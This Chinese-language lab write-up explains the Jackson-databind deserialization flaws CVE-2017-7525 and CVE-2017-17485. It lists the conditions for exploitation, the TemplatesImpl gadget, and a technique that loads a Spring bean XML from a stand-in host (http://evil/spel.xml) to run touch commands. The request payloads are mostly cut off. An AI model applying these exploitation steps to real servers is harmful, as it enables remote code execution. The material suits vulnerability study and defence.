Jackson-databind 反序列化漏洞(CVE-2017-7525)
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl
,可以实现任意代码执行。
所以,本漏洞利用条件如下:
开启 JacksonPolymorphicDeserialization,即调用以下任意方法
1
2objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);Target class 需要有无参 constructor
Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口
CVE-2017-7525
Jackson-databind
在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty
调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties()
方法时,会初始化 transletBytecodes
包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl
的说明。
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt
:
1 | POST /exploit HTTP/1.1 |
成功在/tmp
中创建prove1.txt
这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。
CVE-2017-17485
CVE-2017-7525 黑名单修复 绕过,利用了 org.springframework.context.support.FileSystemXmlApplicationContext
。
利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如http://evil/spel.xml
,内容如下:
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
然后,发送如下数据包,使Jackson加载bean,触发漏洞:
1 | POST /exploit HTTP/1.1 |
成功执行touch /tmp/prove2.txt
:
原理: 利用 FileSystemXmlApplicationContext
加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 start()
方法实现命令执行